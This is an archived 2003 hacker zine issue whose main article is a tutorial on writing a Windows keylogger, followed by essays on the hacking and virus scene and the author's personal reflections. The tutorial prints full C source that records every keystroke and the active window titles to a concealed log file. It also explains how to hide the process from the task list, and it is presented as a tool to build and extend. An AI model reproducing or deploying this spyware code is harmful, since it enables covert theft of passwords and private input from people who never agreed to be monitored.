exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

hh3.html

hh3.html
Posted Jul 22, 2003
Authored by hh | Site infosecwriters.com

The Hitchhiker's World Issue 3: Keylogger in an API (Continued from #2), H/P/V - The Inc. story, Welcome to my world.

SHA-256 | 222901ce3fa1ea6d8a67ff80dfe02f2562101f68532a36aa9e0c978e5e4e1b80

hh3.html

Change Mirror Download
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="keywords" content="hitchhiker, security magazine, security holes, exploit, buffer overflow, vulnerability, security writers, malware, virus, trojan, security writers">
<meta name="description" content="The HH's World features mostly network-security articles/programs along with a touch of personal expression. Entries & comments are welcomed.">
<META NAME="AUTHOR" CONTENT="Arun Koshy">
<title>HH World 3</title>

<link rel="stylesheet" type="text/css" href="libstyle.css">

</head>
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="120">
<tr>
<td width="100%" height="43" align="center" class="bluelink">
<p class="title">The Hitchhiker's World <br>
Issue #3</p>
</td>
</tr>
<tr>
<td width="100%" height="28">
<div align="center">
<p><b>Soli Deo gloria - To God alone be glory</b></p>
</div>
</td>
</tr>
<tr>
<td width="100%" height="19">
<p>&nbsp;</p>
</td>
</tr>
<tr>
<td width="100%" height="19">
<p>Publication Date: April - May 2002 </p>
</td>
</tr>
<tr>
<td width="100%" height="19">
<p>Editor: <a href="mailto:hwcol@arunkoshy.cjb.net">Arun Koshy</a></p>
</td>
</tr>
<tr>
<td width="100%" height="28">
<p><font face="Arial, Helvetica, sans-serif" size="2">Contributors : <a href="mailto:root@ayanthegreat.cjb.net">Ayan
Chakrabarti</a></font></p>
</td>
</tr>
</table>
<p><B>DISCLAIMER :</B> [Insert the biggest, most comprehensive lawyerspeak here].
<B>Securitywriters.org (SWG) or the author(s) are NOT RESPONSIBLE for anything</B>
that happens to you, ur cat, dog, sexlife or wife after you go through the information
presented below. Enjoy.</P>
<p>After the release of <a href="hh2.php" target="_blank">Issue #2</a>, my friends
@ SWG decided to attempt to make this effort mainstream. This column would feature
technical issues (primarily) and some room for personal expression.<br>
<br>
I advocate a "hands-on" approach .. we're not looking to rewrite whats'
already been written. Read/Write a book if you want to do that. Get to the code
or go straight to the point. You're free to send in your entries, comments etc
to <a href="mailto:hwcol@arunkoshy.cjb.net">hwcol@arunkoshy.cjb.net</a>
<p> <br>
<span class="text_head1">Contents</span><br>
<ul>
<li><a href="#KEYS"> Advanced Meal (Continued from #2)</a><br>
(Case Study - A keylogger in an API)<br>
<br>
{ Contrib : Ayan Chakrabarti }<br>
{ Note : Be sure to read the first part in <a href="http://www.arunkoshy.cjb.net/hw/hw2.htm" target="_blank">Issue
#2</a>. This article is literally a "must have". For the first time,
the great programmer makes the effort to explain well :-) }<br>
<br>
</li>
<li><a href="#HPV">H/P/V - The Inc. story</a><b><br>
</b>( A look into the "scene". Funny, ramblings from an armchair
detective )<b><br>
</b><br>
{ Contrib : Hitchhiker }<br>
<br>
</li>
<li><a href="#WELCOME">Welcome to my world</a><br>
( Just some of my thoughts during the last month. Might have something useful
but then again, it may be totally useless :-)<br>
<br>
{ Contrib : Hitchhiker }<b><br>
</b></li>
</ul>
<p > Suggested Links : <a href="hh2.php" target="_blank"><br>
<br>
HW issue #2</a> , <a href="http://www.phrack.org" target="_blank">Phrack</a>
, <a href="http://www.underground-book.com" target="_blank">The Underground
book</a> , <a href="http://www.coderz.net" target="_blank">Coderz.net</a> ,
<a href="http://neworder.box.sk" target="_blank">Neworder</a></p>
<p>Music : <br>
<br>
<i>Joe Satriani (Crying, Always with me - Always with you, Circles, Tears in
the Rain)&nbsp;<br>
Oasis (Champagne Supernova, Morning Glory, Wonderwall)</i>
<p>
<hr>
<p ><a name="KEYS"></a><span class="text_head1">Advanced Meal - A keylogger in
an API<br>
</span><a
href="http://ayanthegreat.cjb.net" target=_blank>By Ayan Chakrabarti</a></p>
<p >Ok. In the last article we looked into the GetAsyncKeyState API (or should
I say KPI - Keylogger Programming Interface ;) and made a small program which
used this API to detect keystrokes in all applications. </p>
<p > That program is going to form the core of our keylogger. But before we proceed
we have to realise a few things </p>
<ul>
<li>We have just been dumping the keystrokes to the screen. This isn't our objective.
We have to write the stuff to a file. <br>
<br>
</li>
<li>The program should be a little less conspicuous. This means we have to make
it a proper windows program instead of a console program. <br>
<br>
</li>
<li>It'd be also nice if we could make sure that it didn't get listed in the
Task List (the list that comes up when u press [ALT+CTL+DEL]). <br>
<br>
</li>
<li>Note that we're just outputting the scan codes. We'll have to make a program
which interprets these scan codes and gives the user meaningful output from
a log file. <br>
<br>
</li>
<li>Also, instead of just recording all the key strokes in one file, we should
keep breaking the file into different parts at fixed intervals. <br>
<br>
</li>
<li>Our program should also be correctly able to detect key combinations. <br>
<br>
</li>
<li>Another nice feature would be to log the titles of the windows from which
we're logging the keystrokes. </li>
</ul>
<p > All right then, this is what we have to do. Lets start coding !!! </p>
<p > Ok, let's look at the file KBDLOG.C first. I suggest you just go through
the code first before going on to the following explanations. </p>
<pre class="code">
-=-= KBDLOG.C STARTS HERE -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#include <windows.h>
#include <stdio.h>
#include <string.h>


int istime(void);
void getfname(char * fname);

unsigned int nlist[] = { 8,9,12,13,19,20,27,32,33,34,35,36,37,38,39,
40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,
57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,
81,82,83,84,85,86,87,88,89,90,91,93,96,97,98,99,100,
101,102,103,104,105,106,107,108,109,110,111,112,113,
114,115,116,117,118,119,120,121,122,123,124,125,126,
127,128,129,130,131,132,133,134,135,144,145,186,187,
188,189,190,191,192,219,220,221,222,223,224,225,226,
227,228,230,233,234,235,236,237,238,239,240,241,242,
243,244,245,246,247,248,249,250,251,252,253,254,0};


int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine, int nCmdShow)
{
MSG msg;
int i,alt,shf,ctrl;
FILE * fp;
HWND hw;
char fn[1024],wint[1024],buf[1024],dirn[1024],fn2[1024];
HANDLE h;
HMODULE hKERNEL32;
FARPROC a_Register;

if ( (hKERNEL32 = GetModuleHandle("KERNEL32.DLL")) != NULL)
if( ( a_Register = GetProcAddress(hKERNEL32,"RegisterServiceProcess")) != NULL)
a_Register( GetCurrentProcessId(), 1);

GetWindowsDirectory(dirn,990);
strcat(dirn,"\\KBDLOG");
strcpy(fn,dirn);
strcat(fn,"\\LOGFILE.KEY");

strcpy(wint,"");

while(1)
{
if(PeekMessage(&msg,NULL,0,0,0))
if(msg.message == WM_QUIT)
return 1;

for(i = 0;nlist[i] != 0;i++)
{
if(GetAsyncKeyState(nlist[i]) == -32767)
break;

if(i%15 == 0)
if(PeekMessage(&msg,NULL,0,0,0))
if(msg.message == WM_QUIT)
return 1;

}
if(nlist[i] == 0)
continue;

if(PeekMessage(&msg,NULL,0,0,0))
if(msg.message == WM_QUIT)
return 1;

hw = GetForegroundWindow();
GetWindowText(hw,buf,1023);

alt = shf = ctrl = 0;
if(GetAsyncKeyState(16) != 0)
shf = 1;
if(GetAsyncKeyState(17) != 0)
ctrl = 1;
if(GetAsyncKeyState(18) != 0)
alt = 1;

if(PeekMessage(&msg,NULL,0,0,0))
if(msg.message == WM_QUIT)
return 1;

if(istime())
{
getfname(fn2);
MoveFile(fn,fn2);
strcpy(wint,"");
}

fp = fopen(fn,"ab");
if(!fp)
{
CreateDirectory(dirn,NULL);
fp = fopen(fn,"ab");
}

if(strcmp(buf,wint) != 0)
{
strcpy(wint,buf);
fputc(0,fp);
fwrite(wint,strlen(wint)+1,1,fp);
}

if(alt || shf || ctrl)
{
fputc(1,fp);
fputc(alt,fp);
fputc(shf,fp);
fputc(ctrl,fp);
}
fputc(nlist[i],fp);
fclose(fp);

}
}

-=-= KBDLOG.C ENDS HERE -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
</pre>
<p > We'll leave the functions istime() and getftime() for the time being. The
nlist array contains a list of all key scan codes which we want to log and is
terminated by a 0. Let's go straight to the <b>WinMain</b> function. As you
may know, the WinMain function is the what's called by the system when the program
is run (like main is called in normal C programs). </p>
<p><span class="text_head2">Stealth:<i></i></span><i><br>
</i>Now the first thing that we come to is the following block of code -
<pre class="code">
if ( (hKERNEL32 = GetModuleHandle("KERNEL32.DLL")) != NULL)
if( ( a_Register = GetProcAddress(hKERNEL32,"RegisterServiceProcess")) != NULL)
a_Register( GetCurrentProcessId(), 1);</pre>
<p > This is the code which is going to make us invisible in the task list. To
pull this off, we use the API called RegisterServiceProcess. We call it with
our process's ID (which we retrieve using GetCurrentProcessId) and the keylogger
is registered as a system service and ceases to appear in the task list. </p>
<p > Now you may ask why we just don't go ahead and do </p>
<pre class="code">RegisterServiceProcess( GetCurrentProcessId(), 1);</pre>
<p > The reason is simple. This API is only provided on Win 9x systems. It is
not available on NT/2k machines. So if we were to call it directly, our program
would generally give an error when run on an NT or 2k machine. So, we try loading
the API dynamically, checking to see if it is available and calling it only
if it is. Don't worry about this too much. Just remember that this will make
the keylogger invisible on Win 9x systems. </p>
<p><span class="text_head2">Initialization:<i></i></span><i><br>
</i>The next few lines initialise a few things which will be used in the program.
</p>
<pre class="code">
GetWindowsDirectory(dirn,990);
strcat(dirn,"\\KBDLOG");
strcpy(fn,dirn);
strcat(fn,"\\LOGFILE.KEY");

strcpy(wint,"");
</pre>
<p > The variable <i>fn </i>is the file to which we have to log the keystrokes.
The variable <i>wint</i> is to hold the title of the current window. Its initialised
to a blank string to begin with. </p>
<p><span class="text_head2">The Main Loop:<i></i></span><i><br>
</i>Before we study the loop, you'll see a set of statements appearing again
and again. </p>
<pre class="code">
if(PeekMessage(&msg,NULL,0,0,0))
if(msg.message == WM_QUIT)
return 1;
</pre>
<p > Ok, I won't go into an indepth explanation of Windows messages, but here's
a brief explanation. Windows lets programs know various things through messages
like what keypresses, mouseclicks, etc and when they need to repaint their windows
and when they need to shut down. A program should periodically check to see
what messages are waiting for it otherwise problems can arise. For example,
the system might be going for a shut down but the program refuses to quit. Also,
on Win 9x systems, such a program might cause degradation of system performance.
So, the lesson is that you should check up on your messages periodically. </p>
<p > PeekMessage is the function we use to get our messages. The reason we're
using it instead of GetMessage (which you'll find in most examples) is because
GetMessage blocks, ie. it won't return until there's a message waiting for the
program. This is obviously undesirable. So we use PeekMessage which returns
immediately with a non-zero if a message is waiting or with a zero if no message
is there. Then we see if there's a WM_QUIT waiting for us, we quit our program.
</p>
<p > Ok now for the main loop. Wherever I've put the above lines (PeekMessage
et al), I'll replace with {CheckMessages} for clarity. </p>
<pre class="code">
while(1)
{
{CheckMessages}

for(i = 0;nlist[i] != 0;i++)
{
if(GetAsyncKeyState(nlist[i]) == -32767)
break;

if(i%15 == 0)
{CheckMessages}

}
if(nlist[i] == 0)
continue;
</pre>
<p > OK. The first few lines should be familiar to you. They're pretty similar
to the shell program we made last time. We check to see if a key in our list
has been pressed since last time. Otherwise, continue in the loop. But if a
key has been pressed .... </p>
<pre class="code">
{CheckMessages}

hw = GetForegroundWindow();
GetWindowText(hw,buf,1023);
</pre>
<p > If a key has been pressed, we get the title of the current window. The API
GetForegroundWindow() returns a handle to the currently active window, and GetWindowText
is used to retrive the window title. </p>
<pre class="code">
alt = shf = ctrl = 0;
if(GetAsyncKeyState(16) != 0)
shf = 1;
if(GetAsyncKeyState(17) != 0)
ctrl = 1;
if(GetAsyncKeyState(18) != 0)
alt = 1;

{CheckMessages}
</pre>
<p >Then we check the status of the [ALT], [SHIFT] and [CONTROL] keys. This helps
in properly recording key-combinations. Now that we've done all the preliminaries,
its time to write the stuff to the file.
<pre class="code">
if(istime())
{
getfname(fn2);
MoveFile(fn,fn2);
strcpy(wint,"");
}
</pre>
<p > These lines will check if it is time to split our logfile. If istime() returns
true (we'll discuss istime later, for now we'll assume that istime will return
true whenever the logfile needs to be splitted), the current logfile will be
renamed to a different name and we'll start logging into a fresh log file. </p>
<pre class="code">
fp = fopen(fn,"ab");
if(!fp)
{
CreateDirectory(dirn,NULL);
fp = fopen(fn,"ab");
}

if(strcmp(buf,wint) != 0)
{
strcpy(wint,buf);
fputc(0,fp);
fwrite(wint,strlen(wint)+1,1,fp);
}

if(alt || shf || ctrl)
{
fputc(1,fp);
fputc(alt,fp);
fputc(shf,fp);
fputc(ctrl,fp);
}
fputc(nlist[i],fp);
fclose(fp);

}
</pre>
<p > This last bit opens the log file and dumps the recorded keystroke into the
file. If the Window title has changed since last logging (ie. focus has shifted
to a new window), we also write the title of the window into the file. Before
we write the title, we output the ASCII value 0 to let the reader (which we'll
write later) know that a window title is coming up. Similarly, if the ALT,SHIFT
or CONTROL keys are pressed, we output ASCII vaule 1 followed by the states
of these keys so that the reader can properly interpret key combinations. </p>
<p > With this we come to the end of this article. In the next article, </p>
<ul>
<li>We'll program a reader to interpret the log files.</li>
<li>See the functioning of the istime and getfname functions.</li>
</ul>
<p > The program kbdlog.c is not compilable as such since the functions <i>istime</i>
and <i>getfname</i> are not defined. You might try making these functions on
your own deciding when the log files should be split and what the old log files
should be called. This is left as an exercise. </p>
<p > Till the next article then ..... </p>
<p>&nbsp;</p>
<p>
<hr>
<p ><a name="HPV"></a><span class="text_head1">H/P/V - The Inc. story<b></b></span><b><br>
<a href="www.arunkoshy.cjb.net" target="_blank">By Arun Darlie Koshy</a> <br>
</b></p>
<p >I strongly believe that the world is nothing but a fractal. Events, places,
people and movements .. everything is repetetive in a large or small, subtle
or loud way. I do not believe that im qualified to comment or say the things
im about to say. But heck, I don't think that ever was an issue with me :-).</p>
<p >It seems we are at an inflexion point. I've had the opportunity to be a lurker/participant
in the void for the past 7 years. We may have met under different faces or times.
The timeframe presented many interesting viewpoints or "shifts". I've
seen anarchy growing up to wear a suit n tie.</p>
<p >Civilization, it seems, has'nt spared Mentor's clan either.</p>
<p ><span class="text_head2">H, the tale of two cities</span><br>
Frankly speaking H has become like the music scene today. Everything is law
abiding and subscribing to a format. We have big places to accumulate, irc rooms,
message boards, "hills", "armies", honeypots and the elders.
Shame on you if you don't belong somewhere or have'nt published a X yet (where
X can be a tutorial,advisory or crap like this ;-).</p>
<p >It is wrong or lame to ask how to break hotmail. Then again, you suspect its
got something to do with the fact that it may be <i>difficult</i> to do so (leaving
aside the lil peculiar theoretical plays of CSS, number tags, problems with
your stupid browser or client-side attacks). </p>
<p >Funny how all of us say the first statement under an air of <i>"you're
so stupid, u don't even know this ?!, its too boring for me to tell u how k
? go away lamer!"</i> .. anybody for <i>"im too dumb to do it k ?
please figure it out and tell me also, wake me up from my slumber" ?</i></p>
<p >I've come to a point where i've stopped reading. It freaks me out, another
tutorial on FTP, or how the damned TCP/IP works, or how to convert binary to
decimal,or wtf is a virus, how to set up trojans, or the unix manual (every
rudimentary command's man page done by a million people seperately) or the nth
tutorial on C,perl or x n y.</p>
<p >All of it written by people who propably have'nt broken into a single system,
coded anything above 10k or done anything original in their entire lives. And
the few who actually do know something, find it tough to see beyond their own
lives and are in deed wise in choosing that option. (i know both these statements
are dangerously generalizing). </p>
<p >You even have a widely read and respected "How to become a hacker"
doc. I remember that you have to learn Python, HTML to be one. Everything is
the product of a "system". The open source movement,or to the latest
zine. It is good. But we should not forget to call a bluff. We're in the goody
good era. Everything is rosy. Peachy. Sickeningly sweet. It is either a cubicle
or a classroom. We've moved from pipe bombs to discussions on "ethical
hacking" or "Blackhat vs Whitehat".</p>
<p >Tell you what, let us stop being clintonian and messing with words and for
the time being we will be what the media says we are. We love the limelight.</p>
<p >Time for me to work on my articles and I-am-elite programs. Have to move up
the ladder you know. Become famous. The dichotomy of me. I thought of saying
something stupid (this time im aware of it ;-)), here goes...</p>
<p ><i>Hack O Genie, grant me the power to break into every system and that no
one can break into mine.</i></p>
<p ><span class="text_head2">P, the mystery that never was</span><br>
There comes only one thought to my mind when I hear about phreaking .. wish
I could figure out what to do to get my phone bills low. Now from reading the
docs i've read, its all some boxes, cards, cellphones and the historical whistle
from a cereal box. I've kept Bluebeep for the sake of my being a collector.</p>
<p >This world does not even have a "how to hack hotmail ?" question.
Talk/Bribe to your lineman. Use a scale or a coin. These are the tricks I've
figured out here. Since I'm gutless to even do the above, i prefer to get shafted
by the phone company.Pretty pathetic eh ?</p>
<p >In short P was dead before my time (and others of my age group ;-) for all
practical reasons. Maybe its too close to being seedy,criminal or slimy. It
was never even born here in my country where the telex system is FUBAR 24-7
and too chaotic to deserve study. </p>
<p >All my friends in the USA, u don't know how lucky you are to get your local
calls free. </p>
<p >I will bake a cake and send whatever is within my reach to the gal or guy
who writes Phreaking 101 (post 2k) or World Domination 101 (the Microsoft case
study). These are the two ways I see myself continuing to have my life, equipment
and a cycle on the information superhighway.</p>
<p ><span class="text_head2">V, Microsoft pulled the plug (unknowingly)</span><br>
Read my <a href="http://www.securitywriters.org/texts/internet%20security/Malware_evo.php">earlier
article</a>. Now we come to the current sitiuation. As expected, the brakes
were pulled moment we shifted to a *nix model... the current sitiuation was
easily predictable by the number of V efforts for the *nix or NT world. The
V scene propably will mutate and integrate into something much different in
feel and texture. The good people may still have it in them to bend a few more
rules.</p>
<p >First of all the playing field will change with the death of a dominant PC
operating system. Now we would be talking about devices, network appliances
and an enlightened user who loves to try out 10 different operating systems.</p>
<p >A real good reference to understand all whats happening would be the latest
<a href="http://www.coderz.net/29a" target="_blank">29A #6</a> (if u excuse
some druggy articles ;-) ).</p>
<p >Some problems currently (from what i've heard from friends in the scene) are
an abundance of people who don't code (resonant with the h scene here ;-) and
the lack of clear thinking or relevant instruction for new members.</p>
<p >But I guess the basic issue(s) are :</p>
<ul>
<li>Stupid people who open attachments have become endangered (read : rare)<br>
<br>
</li>
<li>Any vx / worm activity requires "root" which becomes tough to
achieve in a system which relies on any form of DAC (Discretionary Access
Control .. basically stuff like users, file permissions etc). Now we will
see most of the vx for Win also relying on exploits (that is rootkit+vx combo).<br>
<br>
</li>
<li>Deciding a vector which can work for a critical mass is becoming tough.
Only vx structures based on the wormnet principle can hope to survive in the
wild.<br>
</li>
</ul>
<p >PS : I also think its time to phase out the word "PC". We should
call it something like PID (Personal Information Device). Okay Mr.History, please
note, that is my word!!</p>
<p>&nbsp;</p><p>
<hr>
<p ><a name="WELCOME"></a><span class="text_head1">Welcome to my world<br>
</span><a href="www.arunkoshy.cjb.net" target="_blank">By Arun Darlie Koshy</a></p>
<p >It's been quite a month. I took a much needed break. During the last few days,
I've been trying very hard to churn out something for this release. Quickly,
I realized that it would be a compromise on my ideas regarding creativity. Its
tough removing ego, or developing the healthy dose of insensitivity towards
the demands of the outer world.</p>
<p >Frankly speaking, I've been quite detached from technology (computers, networks,
crap) except using it as an instrument to remain in touch with loved ones and
enhance my learning. Its a blessing that I've been attracted to the concept
of experiencing joy rather than try fit myself into some particular way.</p>
<p >God has been kind enough to calm me down. Make me see what I can manage to
change, open the doors towards music (learning the guitar, writing poetry has
brought out the same feeling I got years ago trying to program :-)). Still trying
hard to appreciate the value of friendship and love. Recently I was watching
a show (won't name cause u would laugh ;-) in which one of the characters say
"If you go long enough without love, you realize that its the only thing".
The month also presented very peculiar sitiuations. </p>
<p >Also, I</p>
<ul>
<li>admit these are tough and uncertain times<br>
</li>
<li> don't know where I'm headed for. <br>
</li>
<li>want to get out of college this yr as i can't stand it anymore. God willing
it will happen.<br>
</li>
<li>am 20 years old, but feel like a 100.<br>
</li>
<li>am neither happy nor sad, aiming for stability in my life.<br>
<br>
</li>
<li>felt a lil jealous at first ( can u believe the pig that is me ?) and then
found a hero in <a href="http://www.timeforkids.com/TFK/explore/story/0,6079,194483,00.html" target="_blank">Mattie
Stepanek</a>.. a lil kid aged just 11 yrs.. a genius writing poetry and blackbelt
in karate, stricken with an incurable illness, son of a single mom who has
had to face the loss of 3 children to the same illness.<br>
</li>
<li> Later on, Larry King also interviewed Michael J. Fox who's been fighting
parkinsons. Some people can be stronger than any obstacle just on their will.
I laughed when some reference to "pity" came up.. heck you feel
inferior rather than pity.<br>
</li>
<li>still trying to kick a (some ?) bad habit. won't know if it will win or
me.<br>
<br>
</li>
<li>am practising the art of keeping quiet if I have nothing nice to say (again
: as far as possible).<br>
</li>
<li>applied Sun Tzu in real ;-).<br>
</li>
<li>learnt that the guitar is a really tough instrument when u go into the nuances.
It gives a lot of pain but the bit of pleasure makes up bigtime. My friend
from SWG (Mystery) showed me the <a href="http://www.mysongbook.com" target="_blank">incredible
software</a> "Guitar Pro" which has proven itself as a teacher and
friend in lonely times.<br>
<br>
</li>
<li>tried to hold myself in calm even when surrounded by lot of chaotic people
and circumstances. Sometimes it gets a bit too much cause people really try
hard to make you a part of their misery. They try to antagonize you. I have
only one thing to say to all of them .. "Get in the Ring" by GNR
;-).<br>
</li>
<li>strongly believe that the world is yet to listen from me. The best is definitely
yet to come.<br>
</li>
<li>feel silly at writing all this. Contrary to what i am trying to demonstrate,
I feel just plain silly. Writing about something limited within a numeric
range is far simpler. You can detach your person from the whole process.</li>
</ul>
<p>Think about :</p>
<ul>
<li>God is always on your side. Never blame him for your choices. He's your
best friend. I feel the problem is that the devil and we are allowed to break
rules, he's not.<br>
</li>
<li>Family is most important. These are simply not words in some of the feel-good
books. Its an actuality.<br>
</li>
<li>All the know-how, technology, money can't buy things which cannot be bought.<br>
<br>
</li>
<li>Please use <a href="http://www.google.com" target="_blank">google.com</a>
and <a href="http://groups.google.com" target="_blank">groups.google.com</a>
(my general advice for everything ;-).<br>
</li>
<li>Read my poems!!! For all lazy bums, here is the <a href="../poetry.htm">direct
link</a>.</li>
<li>Be SURE to read this <a href="../guy.htm"> funny yet enlightening speech
by Guy Kawasaki</a><br>
</li>
<li>Think, learn and feel music. It can be a habit which saves you.<br>
<br>
</li>
<li>Always have a mind of your own. I remember a passage from Michael Chrichton's
<i>Lost World</i> (the book) in which the bilologist advices the young kid
that smart people never know what they want to do very early on. Don't get
limited by your conceptions or the herd thinking. Another piece of fictional
advice offered in the same book is that 90% of the times, what people tell
you is wrong. You have to see the truth for yourself. <br>
<br>
</li>
<li>Never get into anything because you feel a "buzz" around it. Love
anything you do with all your heart. If anything good is there about the world
today, is its cruel capacity to punish the fake.</li>
</ul>
<p>I read what I wrote above many times before sending it out. Each time it is
different. Ranging from laughable, hypocritical, corny, sad, part of the story..
i have no idea... many of those times, i felt like never putting this out. <br>
<br>
But, in a moment of strength or weakness and after lot of goody-goody editing,
I've decided to put this strange collage of thoughts onto this very public medium.
<br>
<br>
LoL .. don't worry Hitch has'nt lost it yet. I will try to write something more
"conventional" next time. My main objective was to get Ayan's good
work to you all ASAP. </p>
<p>Thats it for this time. This has been another cathartic attempt. Good night
to you all...
</td>

</tr>

<tr>

<td colspan="2">


<div align="center" class="unnamed1"><span class="footer"><a href="http://www.Infosecwriters.com"><font size="1" face="Arial, Helvetica, sans-serif">Home</font></a><font size="1" face="Arial, Helvetica, sans-serif">
|<a href="http://www.Infosecwriters.com/about.php"> About Us</a> |<a href="http://www.Infosecwriters.com/contact.php">
Contact Us</a> |<a href="http://www.Infosecwriters.com/privacy.php"> Privacy
Policy</a> | <a href="http://www.Infosecwriters.com/map.php">Site Map</a>
</font></span></div>


<p align="center"><font size="1" face="Arial, Helvetica, sans-serif"><span class="footer">All
images, content & text (unless other ownership applies) are &copy; copyrighted
2003, Infosecwriters.com. All rights reserved. Comments are property of
the respective posters.</span></font></p>

</td>

</tr>

</table>

</body>

</html>
</p>
</body>

</html>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close